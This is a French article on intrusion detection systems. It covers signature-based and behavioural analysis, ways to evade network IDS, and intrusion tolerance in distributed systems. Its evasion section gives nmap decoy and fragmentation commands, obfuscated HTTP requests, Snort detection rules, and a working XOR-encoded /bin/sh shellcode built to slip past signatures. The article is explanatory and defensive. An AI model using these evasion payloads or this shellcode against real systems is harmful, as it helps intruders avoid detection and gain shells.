Détection et tolérance d'intrusions

Samuel Dralet

Il est devenu très utile d'utiliser des critères pour classifier les détecteurs d'intrusions. C'est ce que nous allons présenter dans la suite de cet article.

- Titre : Détection et tolérance d'intrusions

- Auteur : Samuel Dralet

- Parution : 6 mai 2006

- Mise à jour : 19 janvier 2020

- Licence : Copyright ® 2020 Samuel Dralet. Aucune reproduction, même partielle, ne peut être faite de ce site et de l'ensemble de son contenu : textes, documents, images, etc. sans l'autorisation expresse de l'auteur. Sinon vous encourez selon la loi jusqu'à trois ans de prison et jusqu'à 300 000 € de dommages et intérêts.

Sommaire

- I. Introduction

- II. Les détecteurs d'intrusions

- II-A. Les principes d'analyse

- II-B. Les autres critères

- II-C. Lequel choisir finalement ?

- III. Outrepasser les IDS

- III-A. Les attaques réseau

- III-B. Les techniques de RFP

- III-C. Les tactiques au niveau des buffers overflows

- III-C-1. Filtrage des NOP

- III-C-2. Filtrage du shellcode

- III-C-3. ADMutate

- III-D. D'autres techniques antiids

- IV. La tolérance d'intrusion

- IV-A. Définition

- IV-B. La technique de 'fragmentation-redundancy-scattering'

- V. Conclusion

- Références

- Licence GFDL

I - Introduction

Les systèmes d'information sont aujourd'hui de plus en plus ouverts sur Internet. Il en découle un nombre croissant d'attaques. Une politique de sécurité autour de ces systèmes est donc primordiale. Outre la mise en place de pare-feu, de systèmes d'authentification, il est nécessaire pour compléter cette politique de sécurité, d'avoir des outils de surveillance pour auditer le système d'information et détecter d'éventuelles intrusions. Ce que nous appelons intrusion signifie pénétration des systèmes d'information, mais aussi tentatives des utilisateurs locaux d'accéder à de plus hauts privilèges ou tentatives des administrateurs d'abuser de leurs privilèges.

II - Les détecteurs d'intrusions

Le domaine de la détection d'intrusion est encore jeune, mais en plein développement. Nous dénombrons à l'heure actuelle environ une centaine de systèmes de détections d'intrusions (ou IDS pour Intrusion Détection System), que ce soit des produits commerciaux ou du domaine public. Il est donc devenu très utile d'utiliser des critères pour classifier ces IDS. C'est ce que nous allons présenter dans la suite de cet article.

II-A - Les principes d'analyse

La méthode d'analyse est le principal critère pour sélectionner un IDS. Deux méthodes existent aujourd'hui : l'approche comportementale et l'approche par scénarios.

L'approche comportementale consiste à analyser si un utilisateur a eu un comportement anormal par rapport à son habitude. Par exemple, la secrétaire qui se connecte la nuit à certaines heures en plus de la journée serait pour l'IDS un comportement inhabituel. Il se base pour cela sur un modèle statistique : des variables seront définies (ici la plage horaire des connexions de la secrétaire par jour), et représenteront le profil type (comportement normal) d'un utilisateur. Des recherches sont faites aujourd'hui pour appliquer cette approche sur les réseaux de neurones. La technique est de leur apprendre le comportement normal de l'utilisateur.

Contrairement à l'approche comportementale qui est une analyse plutôt aléatoire, l'approche par scénarios nécessite une base de données d'attaques, plus exactement des signatures d'attaques, pour effectuer l'analyse. Une comparaison de ces signatures avec les paquets que l'IDS capture conclura s'il y a eu oui ou non intrusion. C'est ce qui s'appelle le 'pattern matching'.

Chacune de ces approches a ses avantages et ses inconvénients. L'approche comportementale permet de détecter des attaques inconnues (même s'il est difficile d'établir des profils). Elle ne nécessite pas non plus de construction de base d'attaques, et donc d'un suivi de cette base, mais peut être victime de faux positifs : l'IDS détecte des attaques qui n'en sont pas (le côté aléatoire de la méthode). Nous verrons plus loin comment se servir de ce défaut pour passer au travers d'un IDS. Pour l'approche par scénarios, c'est l'inverse. L'IDS se base sur des attaques connues pour effectuer son analyse, mais il est difficile de maintenir cette base de signatures.

II-B - Les autres critères

D'autres critères permettent de classer les IDS. Nous n'allons que brièvement en parler même s'ils ont leur importance :

- les sources de données à analyser : un IDS dispose des données système et réseau à analyser. Les données système représentent les fichiers de logs générés par le système d'exploitation ou les applications (historique des commandes systèmes, accounting…). Les données réseau représentent le trafic qui circule sur le réseau. Pour notre culture générale, les IDS analysant les données système portent le nom de Host-based Intrusion Detection Systems ou HIDS tandis que ceux analysant les données réseau s'appellent des NIDS pour Network Intrusion Détection System ;

- le comportement de l'IDS après intrusion : il peut être passif, une simple alerte est envoyée à l'administrateur par exemple, ou actif, l'IDS dans ce cas essaye de contrer l'attaque. Mais sachez que les IDS actuels se comportent généralement passivement ;

- la fréquence d'utilisation : l'IDS analyse de manière périodique ou continue les traces, cette dernière étant plutôt adaptée aux NIDS pour la surveillance des paquets réseau.

II-C - Lequel choisir finalement ?

L'idéal serait évidemment un système de détection d'intrusions qui remplisse tous ces critères. Nous avons pu voir dans la présentation des différentes techniques d'analyse qu'elles étaient complémentaires. Aucune approche n'est dominante et c'est justement une erreur que de développer une seule méthode d'analyse dans un IDS.

III - Outrepasser les IDS

Les systèmes de détection d'intrusions présentent des limites quant à leur utilité. Nous avons vu précédemment que l'IDS pouvait être victime de faux positifs, avoir une base de données d'attaques obsolète… À cause de ces limites, des techniques pour attaquer ou passer au travers des IDS et plus particulièrement des NIDS se sont développées. Elles sont nombreuses et je ne pourrai pas les aborder de façon détaillée dans ce document. Je les listerai donc en donnant une explication assez succincte de celles-ci, sachant qu'elles peuvent s'appliquer à certains IDS et non à d'autres.

III-A - Les attaques réseau

Le but principal est de réduire les possibilités du NIDS à détecter les attaques :

$nmap -sS -D11.11.11.11,[mon adresse],22.22.22.22 -O -p25 localhost

$nmap -f -sS -F -O localhost

- par les méthodes classiques de scan : les scans furtifs SYN, FIN, XMAS, NULL implémentés par le très connu Nmap (http://www.insecure.org/nmap) permettent de ne pas être détectés par les NIDS. Le but du scan SYN par exemple (le plus simple) est de ne pas ouvrir une connexion complètement. À la réception d'un SYN/ACK qui signifie que le port est ouvert, il envoie un RST pour interrompre la connexion. Aucune connexion n'est donc faite tout en sachant quels ports sont ouverts. Je vous invite à lire le document à l'adresse http://www.insecure.org/nmap/p51-11.txt. Même si ces méthodes sont aujourd'hui classiques, elles sont encore très efficaces ;

- par le flood : tout comme n'importe quel serveur sur Internet, un NIDS peut être victime de flood, c'est-à-dire d'un trafic très important. Étant surchargé, il détecte donc peu ou pas d'attaques en conséquence ;

- par la méthode Decoy de Nmap : le principe est de le surcharger de fausses attaques simultanées (avec de fausses adresses sources) tout en lançant une attaque réelle sur un hôte choisi. Elle passera inaperçue aux yeux de l'administrateur qui sera occupé à analyser tous les logs. Nmap avec l'option Decoy permet cette attaque ;

- par fragmentation : le principe est de fragmenter les paquets IP, c'est-à-dire de les découper en paquets de plus petite taille pour empêcher les NIDS de détecter les attaques (les paquets étant réassemblés au niveau du destinataire). Exemple toujours avec nmap : Fragrouter disponible à l'url http://www.anzen.com/research/nidsbench permet aussi cette attaque ;

- des scans très lents : le fait de scanner un réseau très lentement, c'est-à-dire un scan toutes les heures, n'est souvent pas détecté. Les NIDS maintiennent un état de l'information (TCP, IP Fragments, TCP Scan…) pendant une période bien définie (tout dépend de la mémoire). Donc si deux scans consécutifs n'appartiennent pas à la même période, le NIDS peut ne rien détecter.

III-B - Les techniques de RFP

Rain Forest Puppy ou RFP a développé plusieurs techniques antiIDS au niveau du protocole HTTP qu'il a implémenté dans son scanner cgi Whisker (http://www.wiretrip.net/rfp).

Le principe même de ces techniques est de lancer les attaques sous une forme différente de celles référencées dans la base de signatures des IDS. Les requêtes HTTP ne seront alors pas « matchées » (au sens pattern matching que nous avons vu précédemment). Il rend complexe ces attaques afin que les IDS ne puissent pas les détectent. Il est important aussi de savoir que les techniques suivantes peuvent être combinées ensemble, selon le système attaqué.

HEAD /%20HTTP/1.0%0d%0aHeader:%20/../../cgi-bin/some.cgi HTTP/1.0\r\n\r\n

HEAD / HTTP/1.0\r\nHeader: /../../cgi-bin/some.cgi HTTP/1.0\r\n\r\n

HEAD /abcabcabcabc/../cgi-bin/some.cgi HTTP/1.0

HEAD%00 /cgi-bin/some.cgi HTTP/1.0

- Encodage : cette technique code les caractères sous la forme hexadécimale. L'URL sera tout de même comprise par le protocole HTTP.

- Double slashes : avec cette méthode, notre requête est de la forme '//cgi-bin//script'. Les IDS vérifiant les requêtes de la forme '/cgi-bin/script', nous passons au travers de l'IDS.

- Self-reference directories : une autre technique est de remplacer tous les '/' par '/./'. C'est normal puisque sous Unix par exemple, '/tmp/./././././' est équivalent à '/tmp/'. Notre requête n'est alors pas détectée.

- Simulez la fin d'une requête : pour cette tactique, nous utilisons une requête de la forme : qui est l'équivalent de : Cette URL est valide. L'IDS analyse la première partie de l'URL et s'arrête au premier HTTP/1.0\r\n. Le reste de la requête qui représente notre attaque passe l'IDS sans être analysée.

- Paramètre caché : cette technique est assez simple. Certains IDS cherchent le nom du script avant '?'. Si nous remplaçons '?' par sa valeur en ASCII (?), c'est-à-dire '%3f', l'IDS échoue et la requête est valide.

- Formatage : le principe est de remplacer les espaces par des tabulations.

- Longue URL : certains IDS ne regardent que le début d'une URL, il est donc possible de créer une longue URL pour tromper l'IDS : Le répertoire 'abcabcabcabc' n'est évidemment pas un répertoire valide, mais si nous le faisons suivre de la séquence .. qui correspond à un retour dans le répertoire parent, notre requête est valide. Dans notre cas, nous retournons à la racine du serveur web.

- Case sensitive : très simple aussi, cette technique consiste à remplacer les minuscules par des majuscules. La requête est toujours valide.

- Syntaxe de Bill : le principe est d'utiliser la syntaxe Windows/DOS dans les URL en remplaçant certains '/' par '\'.

- Caractère Null : le but est d'envoyer une URL de cette forme : En analysant cette chaine de caractères, l'IDS s'arrête au moment où il attend le caractère NULL. La suite de l'URL n'est pas analysée.

- Url coupée : la requête HTTP est coupée en plusieurs paquets TCP. L'url « GET /cgi/bin/phf » devient par exemple « GET », « /cgi/b », « in/ph » « f HTTP/1.0 ». Agissant de façon similaire à la fragmentation réseau, notre attaque n'est pas détectée.

III-C - Les tactiques au niveau des buffers overflows

Parmi les attaques que l'IDS peut détecter, il y a les attaques de type buffer overflow. Il analyse pour cela le trafic à la recherche de chaines de caractères telles que « /bin/sh »,« 0x90 » (NOP) … Je ne décrirai pas ici comment fonctionne un buffer overflow, ça n'est pas le but et d'autres articles sont déjà parus à ce sujet.

III-C-1 - Filtrage des NOP

Nous savons que les attaques de type buffer overflow utilisent une série de NOP (0x90 sur plate-forme x86). Nous trouvons généralement dans un exploit, la séquence :

for(i=0;i<(LEN-strlen(shellcode));i++){
*(bof+i) = 0x90;
}

Le principe dans la détection est donc le suivant : il analyse le trafic, regarde s'il voit passer une série de caractères « 0x90 » et agit en conséquence.

Voici un exemple de règle de Snort :

[rules]
alert udp $EXTERNAL_NET any -> $HOME_NET any (msg:"EXPLOIT x86 NOOP";
content:"|9090 9090 9090 9090 9090 9090 9090 9090|";
reference:arachnids,181;)

Avant de continuer, je précise que Snort est un IDS très connu sous licence GPL que vous pouvez trouver à l'URL : http://www.snort.org.

Le but ici, est de trouver une instruction équivalente aux NOP afin de rendre notre attaque indétectable. Il suffit de remplacer 0x90 par 0x41 :

for(i=0;i<(LEN-strlen(shellcode));i++){
*(bof+i) = 0x41;
}

Pourquoi '0x41' ? Cette instruction '0x41' (équivalente à la lettre 'A' en ASCII) représente en assembleur 'inc %ecx' (elle incrémente de 1 la valeur du registre %ecx). Quelle que soit la valeur de %ecx, cette instruction n'a aucune importance dans le contexte de l'exploit. Elle a donc les mêmes avantages que l'instruction NOP : codée sur un octet et ne faisant rien.

III-C-2 - Filtrage du shellcode

Un exemple de règle toujours avec Snort :

[rule]
alert tcp $EXTERNAL_NET any -> $HOME_NET 515 (msg:"EXPLOIT LPRng overflow";
flags: A+; content: "/43 07 89 5B 08 8D 4B 08 89 43 0C B0 0B CD 80 31 C0 FE C0
CD 80 E8 94 FF FF FF 2F 62 69 6E 2F 73 68/"; reference:bugtraq,1712;)

Snort analyse donc le trafic et recherche la chaine du shellcode. Elle correspond à une partie du shellcode de l'exploit rdC-LPRng.c (LPRng-3.6.24-1) :

"\x43\x07\x89\x5b\x08\x8d\x4b\x08\x89\x43\x0c\xb0"
"\x0b\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x94\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68"

La technique est simple : si nous modifions ou changeons le shellcode de l'exploit, l'IDS (dans notre cas Snort) ne détecte plus l'attaque.

Par exemple, l'instruction :

xorl %eax,%eax
\x31\xc0

qui met à NULL le registre %eax peut aussi s'écrire :

subl %eax,%eax
\x29\xc0

Il arrive aussi que l'IDS cherche à détecter la chaine de caractères /bin/sh. Pour passer au travers de cette détection, une des méthodes est de crypter par un simple XOR cette chaine et le shellcode la décrypte ensuite au moment où il s'exécute. Voici un exemple de shellcode :

/*
*  Linux/x86
*
*  décrypte /bin/sh ( XOR ) avec une cle = 'X'
*  execve() de /bin/sh et exit()
*
*  Samuel Dralet (samuel.dralet@mastersecurity.fr)
*/

/* Code asm */
/*
int main()
{
asm("jmp foo

bar:
popl    %ebx

movl    $0x58585858,%edx
xor     %edx,(%ebx)      //pour récupérer "/bin"
xor     %edx,4(%eb)      //pour récupérer "/sh"
xor     %edx,%edx

movl    %ebx,0x8(%esp)
movl    %edx,0xc(%esp)
subl    %eax,%eax
movb    $0xb,%al
leal    0x8(%esp),%ecx
int     $0x80

subl    %eax,%eax
incl    %eax
int     $0x80

foo:
call bar
.string \"\\x77\\x3a\\x31\\x36\\x77\\x2b\\x30\\x58\"
");
}
*/

char
blah[]=
"\xeb\x24\x5b\xba\x58\x58\x58\x58\x31\x13\x31\x53\x04\x31\xd2\x89"
"\x5c\x24\x08\x89\x54\x24\x0c\x29\xc0\xb0\x0b\x8d\x4c\x24\x08\xcd\x80\x29"
"\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff"
"\x77\x3a\x31\x36\x77\x2b\x30\x58";

int
main()
{
int (*funct)();
funct = (int (*)()) blah;
(int)(*funct)();
}

Le principe de ce shellcode est de décrypter la chaine /bin/sh qui est représentée par '.string \« \\x77\\x3a\\x31\\x36\\x77\\x2b\\x30\\x58\ »' avec la clé « X » représentée par 'movl $0x58585858,%edx'. Il passe ensuite la chaine « /bin/sh » en argument à execve().

III-C-3 - ADMutate

Récemment, K2 a présenté son outil ADMutate au CanSecWest. Il utilise justement ces techniques antiIDS au niveau des attaques de type buffer overflow, mais en utilisant le polymorphisme pour créer les shellcodes, technique qu'il a empruntée aux virus. C'est-à-dire que son shellcode est capable de se modifier tout seul. Il est donc plus difficile à détecter. Vous pouvez trouver cet outil à l'url : ftp://adm.freelsd.net/ADM/ADMmutate-0.7.3.tar.gz

III-D - D'autres techniques antiids

Je n'ai pu aborder toutes les techniques, mais sachez qu'il en existe de nombreuses. Le fait par exemple de changer le port sur lequel agit un cheval de Troie. Je n'ai pas abordé non plus les notions d'IP Spoofing, mais elles font partie des techniques antiids.

IV - La tolérance d'intrusion

Comme vous avez pu le voir, les systèmes de détection d'intrusions ne sont pas infaillibles. Vous êtes alors en train de vous demander quel système peut nous assurer un maximum de sécurité. Il existe une alternative à ces systèmes qui sont les systèmes distribués à tolérance d'intrusions.

IV-A - Définition

Voici une définition issue de la documentation « Intrusion Tolérance in Distributed Computing Systems » que vous trouverez dans les références :

« An intrusion-tolerant distributed system is a system which is designed so that any intrusion into a part of the system will not endanger confidentiality, integrity and availability ».

« Un système distribué à tolérance d'intrusions est un système dont le but est de ne pas mettre en danger la confidentialité , l'intégrité et la disponibilité en cas d'intrusion dans une partie du système ».

Pour être plus clair, le concept de tolérance d'intrusion peut être utilisé sur des systèmes distribués de par leur nature à distribuer, répartir de l'information à plusieurs endroits géographiques. Donc, si nous considérons que notre information sensible est répartie sur plusieurs sites, un pirate même s'il a réussi à s'introduire sur une partie de notre système ne pourra récupérer qu'une partie de l'information sans aucune signification pour lui.

Mais de quelle manière est implémenté ce concept de tolérance d'intrusion ?

IV-B - La technique de 'fragmentation-redundancy-scattering'

Cette technique consiste à éclater en plusieurs fragments l'information sensible. Les fragments seront ensuite enregistrés sur plusieurs sites géographiques sans qu'ils aient une relation entre eux. C'est le 'scattering'. Donc si un pirate veut récupérer la totalité de l'information, il doit prendre la main sur l'ensemble des sites. Ce que nous appelons information sensible regroupe les données, les programmes et les droits d'accès. Avec la technique de fragmentation-scattering, nous tolérons donc un certain nombre d'intrusions tout en gardant une confidentialité et une intégrité de l'information.

À cette tolérance d'intrusions, nous ajoutons la tolérance de destruction des informations grâce à une redondance des fragments. Plusieurs copies de chaque fragment sont archivées sur plusieurs sites différents. Une disponibilité de l'information est donc assurée.

Fragmentation-redundancy-scattering sur un fichier

Cette technique fournit donc tous les services nécessaires à la sécurité de l'information, et semble être une bonne alternative aux systèmes de détection d'intrusion.

Si vous voulez avoir plus de renseignements, notamment les caractéristiques des différents sites d'un système distribué à tolérance d'intrusions, je vous conseille de lire les deux documents en référence de Yves Deswarte, Laurent Blain, et Jean-Charles Fabre.

V - Conclusion

Le domaine des systèmes de détection d'intrusions est un sujet très vaste. J'aurais pu parler des honey pots, cette nouvelle méthode de détection d'intrusions et du projet Honeynet (http://project.honeynet.org), de la façon de placer un IDS dans un système d'information en complément du firewall. Toutefois, nous pouvons conclure que les IDS sont loin d'être infaillibles même s'ils apportent un complément à la sécurité du système d'information.

Références

- [1] « FAQ: Network Intrusion Detection Systems » - Robert Graham
http://www.robertgraham.com/pubs/network-intrusion-detection.html

- [2] « A look at whisker's antiIDS tactis » - RFP
http://www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html

- [3] Le projet TSF (Tolérance aux Fautes et Sureté de Fonctionnement Informatique) http://www.laas.fr/TSF/TSF.html

- [4] « Intrusion Tolerance in Distributed Computing Systems » - Yves Deswarte, Laurent Blain, Jean-Charles Fabre
ftp://ftp.laas.fr/pub/Publications/1990/90373.ps

Licence GFDL

Copyright (c) 2006 Samuel Dralet. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled « GNU Free Documentation License ».